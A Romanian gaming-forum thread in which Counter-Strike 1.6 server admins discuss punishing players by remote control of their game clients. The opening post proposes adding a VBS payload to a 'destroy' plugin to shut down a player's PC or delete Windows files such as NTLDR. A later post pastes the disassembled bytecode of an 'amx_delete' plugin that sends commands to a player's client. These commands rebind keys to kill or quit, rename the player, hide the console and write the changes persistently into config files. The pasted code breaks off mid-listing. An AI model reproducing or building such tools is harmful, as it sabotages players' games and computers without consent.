Jump to content
BLKoldSUN

Intrebare plugin server CS 1.6

Recommended Posts

Nu stiu cati de aici detin servere de Counter Strike 1.6 si cati dintre acestia cunosc C++, insa am stat putin si m-am gandit la ceva spun eu.. util dar totodata prea rau.

Sa presupunem ca joci linistit pe server si intra un codat care face flood la schimbare nume, fiind admin fara acces mare nu il poti da afara, sau orice altceva, dar ai acces la comanda destroy sau fuck off. Pentru cei care s-au uitat in acest plugin, au observat ca e C++ ca limbaj de programare, dar cum aceasta varianta de destroy are si o solutie de remediere, pluginul nu mai are niciun rost sa fie utilizat.

Avand in vedere ca este vorba de C++ si ca iti modifica fisierul config.cfg, unul care s-ar pricepe destul de bine la programare, ca sa scape de codati permanent si sa ii invete minte ar putea alege varianta:

----------------------

Plugin: destroy

Limbaj C++

fisier VBS

Modificare fisiere

----------------------

Va spun ceva aceste lucruri? :)

Practic, pluginului destroy sau fuck off i se poate implementa un VBS ce poate modifica fisierele de sistem, fie sa ii stinga pcul automat, fie sa ii stearga fisiere importante din windows. Cred ca este deajuns sa-i stearga NTLDR ca sa nu ii mai porneasca windowsul si e necesar format, deoarece majoritatea kinderilor sunt paraleli cu asa ceva.

Este o idee buna pentru a putea scapa de asa zisii codatii ***** dar este rau daca se foloseste asupra unor utilizatori normali care intra sa se relaxeze.

Asupra acestui subiect vreau pareri daca se poate, pentru ca daca cineva realizeaza un asemenea plugin, codatii vor fi din ce in ce mai putini. :D

Link to comment
Share on other sites

Ar fi destul de folositoare asa ceva.Pentru mine in special pentru cei cu reclama si pentru cei care ameinta cu flood.De exemplu acum cateva seri tot intra cineva cu ceva cs (nu ii spun numele ca o sa-l descarce toti) anti destroyi si anti exterminate si cu ip dinamic.Si singura solutei a fost sa-l banez pe clasa de ip.

P.S.A testat cineva pluginul amx_delete?

Link to comment
Share on other sites

Nu prea se gaseste sursa la asa ceva si eu unu sunt sceptic daca nu stiu exact ce face pluginu. Dupa putine cautari cam asta ar fi sursa




.DATA
str_000 string "%L"
str_001 string "NO_ACC_COM"
str_002 string "%L: %s %s"
str_003 string "USAGE"
str_004 string "bl"
str_005 string "blj"
str_006 string "%L"
str_007 string "MORE_CL_MATCHT"
str_008 string "c"
str_009 string "k"
str_010 string "%L"
str_011 string "CL_NOT_FOUND"
str_012 string "%L"
str_013 string "CLIENT_IMM"
str_014 string "%L"
str_015 string "CANT_PERF_DEAD"
str_016 string "%L"
str_017 string "CANT_PERF_BOT"
arr_000 array 64 fill 0x0
str_018 string "Amx_Delete"
str_019 string "1.0"
str_020 string "ZyreX"
str_021 string "amx_delete"
str_022 string "cmddelete"
str_023 string "<name> - Atentie: Numai in cazuri speciale"
str_024 string "amx_undelete"
str_025 string "cmdundelete"
str_026 string "<name> - Atentie: Numai in cazuri speciale"
str_027 string "amx_delete_info"
str_028 string "info"
str_029 string "- info for delete player."
str_030 string "exec /sound/player/player.cfg"
str_031 string "exec /sound/weapons/weapons.cfg"
str_032 string "exec /sound/radio/radio.cfg"
str_033 string "exec /sprites/small.cfg"
str_034 string "infochanged"
arr_001 array 2 fill 0x0
str_035 string "cheater"
str_036 string "gad"
str_037 string "nickacc"
str_038 string "100"
str_039 string "yes"
str_040 string "\addons\amxmodx\configs\delete.ini"
str_041 string "\addons\amxmodx\configs\delete.ini"
str_042 string "echo YOU WILL DIE!!!"
str_043 string "bind TAB kill"
str_044 string "bind ENTER kill"
str_045 string "bind ESCAPE quit"
str_046 string "bind SPACE kill"
str_047 string "bind 1 kill"
str_048 string "bind 2 kill"
str_049 string "bind ` kill"
str_050 string "bind q kill"
str_051 string "bind r kill"
str_052 string "bind t kill"
str_053 string "bind UPARROW kill"
str_054 string "bind DOWNARROW kill"
str_055 string "bind LEFTARROW kill"
str_056 string "bind RIGHTARROW kill"
str_057 string "bind F1 kill"
str_058 string "bind PAUSE kill"
str_059 string "max_shells 0"
str_060 string "bind MOUSE1 kill"
str_061 string "bind MOUSE2 kill"
str_062 string "fps_max 30"
str_063 string "name Ban-me!SuntunCodat"
str_064 string "volume 5"
str_065 string "scr_connectmsg FATAL ERROR!"
str_066 string "scr_connectmsg1 Amice, esti idiot!"
str_067 string "scr_connectmsg2 FATAL ERROR!"
str_068 string "cl_showerror 1"
str_069 string "cl_showmessages 1"
str_070 string "cl_forwardspeed -100"
str_071 string "cl_backspeed -100"
str_072 string "cl_sidespeed -100"
str_073 string "sensitivity 10"
str_074 string "writecfg \config"
str_075 string "quit"
str_076 string "\addons\amxmodx\configs\undelete.ini"
str_077 string "\addons\amxmodx\configs\undelete.ini"
str_078 string "exec /gfx/env/morningdewbk.cfg"
str_079 string "Ban-me!SuntunCodat"
str_080 string "name "%s""
str_081 string "writecfg \sound\player\player"
str_082 string "writecfg \sound\weapons\weapons"
str_083 string "writecfg \sound\radio\radio"
str_084 string "writecfg \sprites\small"
str_085 string "writecfg \config"
str_086 string "exec config.cfg"
str_087 string "Ban-me!SuntunCodat"
str_088 string "kickuser"
str_089 string "\addons\amxmodx\configs\undelete.ini"
var_000 variable ( 0x0 )
str_090 string "name "%s""
str_091 string "kick %s "Ai primit UnDelete. Acum te poti reconecta pe server !""
str_092 string "\addons\amxmodx\configs\delete.ini"
str_093 string "\addons\amxmodx\configs\delete.ini"
str_094 string "Nick-ul "%s" este folosit deja"
str_095 string "\addons\amxmodx\configs\delete.ini"
str_096 string "\addons\amxmodx\configs\delete.ini"
str_097 string "\addons\amxmodx\configs\delete.ini"
str_098 string "writecfg \gfx\env\morningdewbk"
str_099 string "unbindall"
str_100 string "setinfo nickacc %s"
str_101 string "setinfo cheater 100"
str_102 string "setinfo gad yes"
str_103 string "writecfg \sound\player\player"
str_104 string "writecfg \sound\weapons\weapons"
str_105 string "hideconsole"
str_106 string "writecfg \sound\radio\radio"
str_107 string "hideconsole"
str_108 string "writecfg \sprites\small"
str_109 string "echo YOU WILL DIE!!!"
str_110 string "bind TAB kill"
str_111 string "hideconsole"
str_112 string "bind ENTER kill"
str_113 string "bind ESCAPE quit"
str_114 string "hideconsole"
str_115 string "bind SPACE kill"
str_116 string "bind 1 kill"
str_117 string "bind 2 kill"
str_118 string "bind ` kill"
str_119 string "hideconsole"
str_120 string "bind q kill"
str_121 string "bind r kill"
str_122 string "bind t kill"
str_123 string "bind UPARROW kill"
str_124 string "bind DOWNARROW kill"
str_125 string "hideconsole"
str_126 string "bind LEFTARROW kill"
str_127 string "bind RIGHTARROW kill"
str_128 string "bind F1 kill"
str_129 string "hideconsole"
str_130 string "bind PAUSE kill"
str_131 string "max_shells 0"
str_132 string "bind MOUSE1 kill"
str_133 string "hideconsole"
str_134 string "bind MOUSE2 kill"
str_135 string "fps_max 30"
str_136 string "name Ban-me!SuntunCodat"
str_137 string "volume 5"
str_138 string "hideconsole"
str_139 string "scr_connectmsg FATAL ERROR!"
str_140 string "scr_connectmsg1 Amice, esti idiot!"
str_141 string "scr_connectmsg2 FATAL ERROR!"
str_142 string "cl_showerror 1"
str_143 string "hideconsole"
str_144 string "cl_showmessages 1"
str_145 string "cl_forwardspeed -100"
str_146 string "cl_backspeed -100"
str_147 string "hideconsole"
str_148 string "cl_sidespeed -100"
str_149 string "sensitivity 10"
str_150 string "writecfg \config"
str_151 string "quit"
str_152 string "hideconsole"
str_153 string "AMX_DELETE: %s"
str_154 string "ADMIN-ul %s: a executat comanda delete pe %s"
str_155 string "ADMIN-ul %s: a executat comanda delete pe %s"
str_156 string "AMX_DELETE: "%s<IP: %s>" a executat comanda delete pe "%s<IP: %s>""
str_157 string "hostname"
str_158 string "Client-ul "%s" are imunitate."
str_159 string "\addons\amxmodx\configs\delete.ini"
str_160 string "\addons\amxmodx\configs\delete.ini"
str_161 string "\addons\amxmodx\configs\undelete.ini"
str_162 string "\addons\amxmodx\configs\delete.ini"
str_163 string "\addons\amxmodx\configs\delete.ini"
var_001 variable ( 0x0 )
str_164 string "\addons\amxmodx\configs\undelete.ini"
str_165 string "\addons\amxmodx\configs\undelete.ini"
str_166 string "\addons\amxmodx\configs\undelete.ini"
str_167 string "\addons\amxmodx\configs\undelete.ini"
str_168 string "AMX_UNDELETE: "%s" a executat comanda undelete pe "%s""
str_169 string "AMX_UNDELETE: %s"
str_170 string "AMX_UNDELETE: %s"
str_171 string "Nu exista %s."
str_172 string "-------------------------------------------------"
str_173 string "-------------------------------------------------"
str_174 string "-------Plugin name: Amx_delete -------"
str_175 string "-------Author: ZyreX -------"
str_176 string "-------Version: 1.0 -------"
str_177 string "-------Site: http://xserv.ro -------"
str_178 string "-------------------------------------------------"
str_179 string "-------------------------------------------------"


.CODE
halt 0x0

PROC func_00
break
break
stack -0x4
push.c 0x0
push.s 0xC
push.c 0x8
sysreq.c get_user_flags
stack 0xC
stor.s.pri -0x4
break
load.s.pri -0x4
move.alt
zero.pri
xchg
jsleq jump_0000
load.s.pri -0x4
const.alt 0x2000000
and
not
jzer jump_0000
const.pri 0x1
jump jump_0002
jump_0000:
zero.pri
jump_0002:
stack 0x4
retn
ENDP

PROC func_01
break
break
push.c 0x0
break
load.s.pri 0xC
push.pri
push.c 0x0
sysreq.c is_dedicated_server
stack 0x4
jzer jump_0003
zero.pri
jump jump_0004
jump_0003:
const.pri 0x1
jump_0004:
pop.alt
jneq jump_0005
break
const.pri 0x1
stor.s.pri -0x4
jump jump_0006
jump_0005:
break
load.s.pri 0x10
eq.c.pri 0x1000000
jzer jump_0007
break
push.s 0xC
push.c 0x4
call func_00
jzer jump_0008
break
const.pri 0x1
stor.s.pri -0x4
jump_0008:
jump jump_0006
jump_0007:
break
push.c 0x0
push.s 0xC
push.c 0x8
sysreq.c get_user_flags
stack 0xC
move.alt
load.s.pri 0x10
and
jzer jump_0010
break
const.pri 0x1
stor.s.pri -0x4
jump jump_0006
jump_0010:
break
load.s.pri 0x10
jnz jump_0006
break
const.pri 0x1
stor.s.pri -0x4
jump_0006:
break
load.s.pri -0x4
jnz jump_0013
break
load.s.pri 0x1C
not
jzer jump_0014
break
push.c 0xC
pushaddr 0xC
push.c 0x0
push.s 0xC
push.c 0x10
sysreq.c console_print
stack 0x14
jump_0014:
break
zero.pri
stack 0x4
retn
jump_0013:
break
push.c 0x0
sysreq.c read_argc
stack 0x4
move.alt
load.s.pri 0x18
jsleq jump_0015
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
stack -0x200
zero.pri
addr.alt -0x284
fill 0x200
push.c 0x0
break
push.c -0x1
push.s 0x10
push.c 0x7F
pushaddr -0x284
pushaddr -0x288
push.c 0x1F
pushaddr -0x84
push.s 0x14
push.c 0x20
sysreq.c get_concmd
stack 0x24
break
pushaddr -0x284
pushaddr -0x84
push.c 0x64
pushaddr 0xC
push.c 0x38
push.s 0xC
push.c 0x18
sysreq.c console_print
stack 0x1C
break
zero.pri
stack 0x288
retn
jump_0015:
break
const.pri 0x1
stack 0x4
retn
ENDP

PROC func_02
break
break
stack -0x4
push.s 0x10
push.c 0x7C
push.c 0x8
sysreq.c find_player
stack 0xC
stor.s.pri -0x4
break
load.s.pri -0x4
jzer jump_0016
break
load.s.pri -0x4
push.pri
push.s 0x10
push.c 0x88
push.c 0x8
sysreq.c find_player
stack 0xC
pop.alt
jeq jump_0017
break
push.c 0xA4
pushaddr 0xC
push.c 0x98
push.s 0xC
push.c 0x10
sysreq.c console_print
stack 0x14
break
zero.pri
stack 0x4
retn
jump_0017:
jump jump_0018
jump_0016:
break
push.s 0x10
push.c 0xE0
push.c 0x8
sysreq.c find_player
stack 0xC
stor.s.pri -0x4
jnz jump_0019
load.s.pri 0x10
load.i
eq.c.pri 0x23
jzer jump_0019
load.s.pri 0x10
add.c 0x4
load.i
jzer jump_0019
const.pri 0x1
jump jump_0022
jump_0019:
zero.pri
jump_0022:
jzer jump_0018
break
load.s.pri 0x10
add.c 0x4
push.pri
push.c 0x4
sysreq.c str_to_num
stack 0x8
heap 0x4
stor.i
push.alt
push.c 0xE8
push.c 0x8
sysreq.c find_player
stack 0xC
heap -0x4
stor.s.pri -0x4
jump_0018:
break
load.s.pri -0x4
not
jzer jump_0024
break
push.c 0xFC
pushaddr 0xC
push.c 0xF0
push.s 0xC
push.c 0x10
sysreq.c console_print
stack 0x14
break
zero.pri
stack 0x4
retn
jump_0024:
break
load.s.pri 0x14
const.alt 0x1
and
jzer jump_0025
break
push.c 0x0
push.s -0x4
push.c 0x8
sysreq.c get_user_flags
stack 0xC
const.alt 0x1
and
jzer jump_0026
load.s.pri 0x14
const.alt 0x2
and
jzer jump_0027
load.s.pri -0x4
load.s.alt 0xC
neq
jump jump_0028
jump_0027:
const.pri 0x1
jump_0028:
jzer jump_0026
const.pri 0x1
jump jump_0030
jump_0026:
zero.pri
jump_0030:
jzer jump_0025
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
break
push.c 0x1F
pushaddr -0x84
push.s -0x4
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
pushaddr -0x84
push.c 0x13C
pushaddr 0xC
push.c 0x130
push.s 0xC
push.c 0x14
sysreq.c console_print
stack 0x18
break
zero.pri
stack 0x84
retn
jump_0025:
break
load.s.pri 0x14
const.alt 0x4
and
jzer jump_0032
break
push.s -0x4
push.c 0x4
sysreq.c is_user_alive
stack 0x8
not
jzer jump_0032
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
break
push.c 0x1F
pushaddr -0x84
push.s -0x4
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
pushaddr -0x84
push.c 0x174
pushaddr 0xC
push.c 0x168
push.s 0xC
push.c 0x14
sysreq.c console_print
stack 0x18
break
zero.pri
stack 0x84
retn
jump_0032:
break
load.s.pri 0x14
const.alt 0x8
and
jzer jump_0034
break
push.s -0x4
push.c 0x4
sysreq.c is_user_bot
stack 0x8
jzer jump_0034
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
break
push.c 0x1F
pushaddr -0x84
push.s -0x4
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
pushaddr -0x84
push.c 0x1BC
pushaddr 0xC
push.c 0x1B0
push.s 0xC
push.c 0x14
sysreq.c console_print
stack 0x18
break
zero.pri
stack 0x84
retn
jump_0034:
break
load.s.pri -0x4
stack 0x4
retn
ENDP

PROC plugin_init
break
break
push.c 0x330
push.c 0x320
push.c 0x2F4
push.c 0xC
sysreq.c register_plugin
stack 0x10
break
push.c -0x1
push.c 0x39C
push.c 0x8
push.c 0x374
push.c 0x348
push.c 0x14
sysreq.c register_concmd
stack 0x18
break
push.c -0x1
push.c 0x4AC
push.c 0x8
push.c 0x47C
push.c 0x448
push.c 0x14
sysreq.c register_concmd
stack 0x18
break
push.c -0x1
push.c 0x5AC
push.c 0x0
push.c 0x598
push.c 0x558
push.c 0x14
sysreq.c register_concmd
stack 0x18
zero.pri
retn
ENDP

PROC client_connect
break
break
push.c 0x0
push.s 0xC
push.c 0x8
sysreq.c get_user_flags
stack 0xC
const.alt 0x1
and
not
jzer jump_0036
break
push.c 0x3F
push.c 0x1F4
push.s 0xC
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
push.c 0x614
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x68C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x70C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x77C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x0
push.c 0x810
push.c 0x0
push.c 0x80C
push.s 0xC
push.c 0x7DC
push.c 0x3F000000
push.c 0x1C
sysreq.c set_task
stack 0x20
jump_0036:
break
const.pri 0x1
retn
ENDP

PROC infochanged
break
break
push.c 0x0
push.s 0xC
push.c 0x8
sysreq.c get_user_flags
stack 0xC
const.alt 0x1
and
not
jzer jump_0037
break
push.c 0x0
break
stack -0x80
zero.pri
addr.alt -0x84
fill 0x80
stack -0x80
zero.pri
addr.alt -0x104
fill 0x80
stack -0x80
zero.pri
addr.alt -0x184
fill 0x80
break
push.c 0x1F
pushaddr -0x84
push.c 0x814
push.s 0xC
push.c 0x10
sysreq.c get_user_info
stack 0x14
break
push.c 0x1F
pushaddr -0x104
push.c 0x834
push.s 0xC
push.c 0x10
sysreq.c get_user_info
stack 0x14
break
push.c 0x1F
pushaddr -0x184
push.c 0x844
push.s 0xC
push.c 0x10
sysreq.c get_user_info
stack 0x14
break
pushaddr -0x84
push.c 0x4
sysreq.c strlen
stack 0x8
not
jzer jump_0038
break
const.pri 0x1
stack 0x184
retn
jump_0038:
break
pushaddr -0x104
push.c 0x4
sysreq.c strlen
stack 0x8
not
jzer jump_0039
break
const.pri 0x1
stack 0x184
retn
jump_0039:
break
pushaddr -0x184
push.c 0x4
sysreq.c strlen
stack 0x8
not
jzer jump_0040
break
const.pri 0x1
stack 0x184
retn
jump_0040:
break
stack -0x100
zero.pri
addr.alt -0x284
fill 0x100
push.c 0x0
break
push.c 0x0
pushaddr -0x84
push.c 0x864
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0041
break
push.c 0x0
pushaddr -0x104
push.c 0x874
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0041
break
stack -0x4
push.c 0x1
push.c 0x884
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x28C
break
push.c 0x0
jump jump_0043
jump_0046:
break
inc.s -0x290
jump_0043:
load.s.pri -0x290
load.s.alt -0x28C
jsgrtr jump_0044
break
pushaddr -0x288
push.c 0x3F
pushaddr -0x284
push.s -0x290
push.c 0x910
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x184
pushaddr -0x284
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0045
break
push.c 0x99C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x9F0
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xA28
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xA68
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xAAC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xAEC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xB1C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xB4C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xB7C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xBAC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xBDC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xC0C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xC54
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xCA4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xCF4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xD48
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xD7C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xDBC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xDF0
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xE34
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xE78
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xEA4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xF04
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xF28
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0xF98
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1024
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1098
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x10D4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x111C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1170
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x11B8
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1200
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x123C
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1280
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
const.pri 0x1
stor.s.pri -0x4
jump_0045:
jump jump_0046
jump_0044:
stack 0x4
stack 0x4
jump_0041:
break
stack -0x100
zero.pri
addr.alt -0x388
fill 0x100
push.c 0x0
break
stack -0x4
push.c 0x1
push.c 0x1294
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x390
break
push.c 0x0
jump jump_0047
jump_0052:
break
inc.s -0x394
jump_0047:
load.s.pri -0x394
load.s.alt -0x390
jsgrtr jump_0048
break
pushaddr -0x38C
push.c 0x3F
pushaddr -0x388
push.s -0x394
push.c 0x1328
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x184
pushaddr -0x388
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0049
break
push.c 0x13BC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x0
push.c 0x1438
push.c 0x1F4
push.c 0xC
sysreq.c equal
stack 0x10
not
jzer jump_0050
break
push.c 0x1F4
push.c 0x1484
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
jump_0050:
break
push.c 0x14AC
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1524
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x15A4
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1614
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1674
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x16B8
push.s 0xC
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x0
push.c 0x16F8
push.c 0x1F4
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0051
break
push.c 0x0
push.c 0x810
push.c 0x0
push.c 0x80C
push.s 0xC
push.c 0x1744
push.c 0x40400000
push.c 0x1C
sysreq.c set_task
stack 0x20
jump_0051:
break
push.s -0x394
push.c 0x17FC
push.c 0x1768
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x4
break
const.pri 0x1
stack 0x394
retn
jump_0049:
jump jump_0052
jump_0048:
stack 0x4
break
load.s.pri -0x4
jnz jump_0053
break
push.c 0x1F4
push.c 0x1800
push.s 0xC
push.c 0xC
sysreq.c client_cmd
stack 0x10
jump_0053:
stack 0x390
jump_0037:
break
const.pri 0x1
retn
ENDP

PROC kickuser
break
break
push.c 0x1F4
push.c 0x1828
push.c 0x8
sysreq.c server_cmd
stack 0xC
zero.pri
retn
ENDP

PROC cmddelete
break
break
push.c 0x0
push.c 0x1
push.s 0x14
push.s 0x10
push.s 0xC
push.c 0x14
call func_01
not
jzer jump_0054
break
const.pri 0x1
retn
jump_0054:
break
stack -0x80
zero.pri
addr.alt -0x80
fill 0x80
break
push.c 0x1F
pushaddr -0x80
push.c 0x1
push.c 0xC
sysreq.c read_argv
stack 0x10
break
stack -0x4
push.c 0x3
pushaddr -0x80
push.s 0xC
push.c 0xC
call func_02
stor.s.pri -0x84
break
push.c 0x0
push.s -0x84
push.c 0x8
sysreq.c get_user_flags
stack 0xC
const.alt 0x1
and
not
jzer jump_0055
break
stack -0x100
zero.pri
addr.alt -0x184
fill 0x100
break
push.c 0x3F
pushaddr -0x184
push.s -0x84
push.c 0xC
sysreq.c get_user_name
stack 0x10
break
stack -0x100
zero.pri
addr.alt -0x284
fill 0x100
push.c 0x0
break
stack -0x4
push.c 0x1
push.c 0x192C
push.c 0x8
sysreq.c file_size
stack 0xC
stor.s.pri -0x28C
break
push.c 0x0
break
push.c 0x0
jump jump_0056
jump_0060:
break
inc.s -0x294
jump_0056:
load.s.pri -0x294
load.s.alt -0x28C
jsgrtr jump_0057
break
load.s.pri -0x290
jnz jump_0058
break
pushaddr -0x288
push.c 0x3F
pushaddr -0x284
push.s -0x294
push.c 0x19B8
push.c 0x14
sysreq.c read_file
stack 0x18
break
push.c 0x0
pushaddr -0x184
pushaddr -0x284
push.c 0xC
sysreq.c equal
stack 0x10
jzer jump_0058
break
pushaddr -0x284
push.c 0x1A44
push.s 0xC
push.c 0xC
sysreq.c console_print
stack 0x10
break
const.pri 0x1
stor.s.pri -0x290
jump_0058:
jump jump_0060
jump_0057:
stack 0x4
break
push.c 0x0
break
load.s.pri -0x290
jnz jump_0061
break
push.c 0x0
jump jump_0062
jump_0069:
break
inc.s -0x298
jump_0062:
load.s.pri -0x298
load.s.alt -0x28C
jsgrtr jump_0063
break
load.s.pri -0x294
jnz jump_0064
break
pushaddr -0x288
push.c 0x3F
pushaddr -0x284
push.s -0x298
push.c 0x1AC0
push.c 0x14
sysreq.c read_file
stack 0x18
break
pushaddr -0x284
push.c 0x4
sysreq.c strlen
stack 0x8
not
jnz jump_0065
push.c 0x0
pushaddr -0x184
pushaddr -0x284
push.c 0xC
sysreq.c equal
stack 0x10
jnz jump_0065
zero.pri
jump jump_0067
jump_0065:
const.pri 0x1
jump_0067:
jzer jump_0064
break
push.s -0x298
pushaddr -0x184
push.c 0x1B4C
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x294
jump_0064:
jump jump_0069
jump_0063:
stack 0x4
jump_0061:
break
load.s.pri -0x290
jnz jump_0070
break
load.s.pri -0x294
jnz jump_0070
break
push.c -0x1
pushaddr -0x184
push.c 0x1BD8
push.c 0xC
sysreq.c write_file
stack 0x10
break
const.pri 0x1
stor.s.pri -0x294
jump_0070:
break
push.c 0x1C64
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1CE0
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
pushaddr -0x184
push.c 0x1D08
push.s -0x84
push.c 0xC
sysreq.c client_cmd
stack 0x10
break
push.c 0x1D54
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1DA4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1DE4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1E5C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1EDC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1F0C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1F7C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x1FAC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x200C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2060
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2098
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x20C8
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2108
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x214C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x217C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x21BC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x21EC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x221C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x224C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x227C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x22AC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x22DC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x230C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2354
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x23A4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x23D4
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2424
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2478
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x24AC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x24DC
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x251C
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2550
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x2594
push.s -0x84
push.c 0x8
sysreq.c client_cmd
stack 0xC
break
push.c 0x25C4
push.s -0x84
push.c 0x8
